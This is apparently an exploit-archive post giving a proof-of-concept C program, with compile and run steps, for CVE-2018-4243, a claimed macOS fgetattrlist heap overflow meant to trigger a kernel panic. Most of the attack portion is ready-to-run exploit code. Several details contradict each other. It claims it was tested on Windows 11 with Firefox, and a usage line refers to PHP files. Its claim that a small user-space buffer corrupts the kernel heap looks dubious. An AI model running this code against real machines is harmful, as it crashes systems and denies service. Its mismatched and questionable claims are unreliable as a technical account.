📄 macOS 10.13.4 Heap Overflow

=============================================================================================================================================
    | # Title     : macOS 10.13.4 (17E199) fgetattrlist Kernel Heap Overflow (XNU kernel Panic Trigger PoC)                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://apple.com/                                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212496/ & CVE-2018-4243
    
    [+] Summary : A kernel heap overflow exists in fgetattrlist() due to missing lower-bound buffer size validation when writing returned attributes
                  to caller-supplied memory.
    			  This PoC produces deterministic kernel panic.
    
    2) Technical Description
    ------------------------
    The kernel allocates a buffer based on user-supplied size:
    
        ab.allocated = ulmin(bufferSize, fixedsize + varsize);
    
    But later blindly writes:
    
        bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof(ab.actual));
    
    No check exists to ensure that 'bufferSize' ≥ sizeof(ab.actual)+4.
    
    If bufferSize < required header size, kernel writes out of bounds.
    
    3) Impact
    ---------
    • Kernel Panic (DoS)
    
    (This PoC deliberately does not escalate to LPE)
    
    4) Exploit Details
    ------------------
    The exploit opens "/", calls fgetattrlist() with ATTR_CMN_RETURNED_ATTRS,
    allocates only 16 bytes, triggering heap overwrite → panic.
    
    5) Exploit Code (Triggers Kernel Panic)
    ---------------------------------------
    Compile:
        gcc fattr_kpanic.c -o fattr_kpanic
    
    Run:
        ./fattr_kpanic
    
    6) Saving & Running Instructions (MANDATORY)
    --------------------------------------------
    (1) Save file as:   fattr_kpanic.c
    
    (2) Compile:
            gcc fattr_kpanic.c -o fattr_kpanic
    
    (3) Run PoC:
            ./fattr_kpanic
    
    (4) EXPECT:
            Immediate kernel panic (system reboot) 
    
    [+]  Usage :   * : Save as: poc.php
                       Run    : php scan.php
    
    [+]  POC :	
    
    /*
     * macOS fgetattrlist Kernel Heap Overflow
     * Panic Trigger PoC - by indoushka
     * CVE-2018-4243
     * 
     * The vulnerability: When ATTR_CMN_RETURNED_ATTRS is requested,
     * the kernel always writes sizeof(struct attrlist) bytes (36 bytes)
     * at offset 4 in the buffer, but doesn't validate buffer size.
     * 
     * With 16-byte buffer: writes 36 bytes → 20 bytes overflow!
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <sys/attr.h>
    #include <string.h>
    
    // حجم struct attrlist في kernel macOS
    #define ATTRLIST_SIZE 36
    #define HEADER_OFFSET 4  // sizeof(uint32_t)
    
    void hexdump(const void* data, size_t size) {
        const unsigned char* p = (const unsigned char*)data;
        for (size_t i = 0; i < size; i++) {
            printf("%02x ", p[i]);
            if ((i + 1) % 16 == 0) printf("\n");
        }
        printf("\n");
    }
    
    int main(int argc, char** argv) {
        printf("[*] CVE-2018-4243 Kernel Heap Overflow PoC\n");
        printf("[*] Target: macOS fgetattrlist syscall\n");
        printf("[*] Expected: Kernel panic due to heap corruption\n\n");
        
        // التحكم في حجم الـ buffer من سطر الأوامر
        size_t buf_size = 16;
        if (argc > 1) {
            buf_size = atoi(argv[1]);
            if (buf_size < 4) {
                printf("[!] Buffer size too small, using minimum 4\n");
                buf_size = 4;
            }
        }
        
        printf("[+] Opening root directory...\n");
        int fd = open("/", O_RDONLY);
        if (fd < 0) {
            perror("[-] Failed to open /");
            return 1;
        }
        printf("[+] FD: %d\n", fd);
        
        // إعداد attrlist مع ATTR_CMN_RETURNED_ATTRS
        struct attrlist al = {0};
        al.bitmapcount = ATTR_BIT_MAP_COUNT;
        al.volattr = 0xfff;  // All volume attributes
        al.commonattr = ATTR_CMN_RETURNED_ATTRS;  // This triggers the bug!
        
        printf("[+] Buffer size: %zu bytes\n", buf_size);
        printf("[+] Required minimum: %d bytes\n", HEADER_OFFSET + ATTRLIST_SIZE);
        printf("[+] Overflow amount: %d bytes\n", 
               (HEADER_OFFSET + ATTRLIST_SIZE > buf_size) ? 
               (HEADER_OFFSET + ATTRLIST_SIZE - buf_size) : 0);
        
        // تخصيص buffer مع بيانات يمكن التعرف عليها
        void* buffer = malloc(buf_size);
        if (!buffer) {
            perror("[-] malloc failed");
            close(fd);
            return 1;
        }
        
        // ملء الـ buffer بنمط يمكن التعرف عليه
        memset(buffer, 0x41, buf_size);  // 'A' characters
        printf("\n[+] Buffer before overflow (hex):\n");
        hexdump(buffer, buf_size > 64 ? 64 : buf_size);
        
        printf("\n[+] Triggering kernel heap overflow...\n");
        printf("[!] If successful, kernel will panic now!\n\n");
        
        // هذا هو الاستغلال - kernel سيحاول كتابة 36 بايت في buffer صغير
        int result = fgetattrlist(fd, &al, buffer, buf_size, 0);
        
        // إذا وصلنا إلى هنا، kernel لم يتعطل (مفاجئ!)
        printf("[?] Unexpected! Kernel didn't panic.\n");
        printf("[?] fgetattrlist returned: %d\n", result);
        
        if (result == 0 && buf_size > HEADER_OFFSET) {
            printf("\n[+] Buffer after (if kernel survived):\n");
            hexdump(buffer, buf_size > 64 ? 64 : buf_size);
            
            // محاولة تفسير البيانات المرجوعة
            uint32_t* buf32 = (uint32_t*)buffer;
            printf("\n[+] First 4 bytes (length): 0x%08x\n", buf32[0]);
            
            if (buf_size >= HEADER_OFFSET + 4) {
                struct attrlist* ret_attrs = (struct attrlist*)((char*)buffer + HEADER_OFFSET);
                printf("[+] Returned commonattr: 0x%08x\n", ret_attrs->commonattr);
                printf("[+] Returned volattr: 0x%08x\n", ret_attrs->volattr);
            }
        }
        
        // تنظيف
        free(buffer);
        close(fd);
        
        printf("\n[*] If kernel panicked, exploit worked!\n");
        printf("[*] If not, system may be patched or buffer was large enough.\n");
        
        return 0;
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================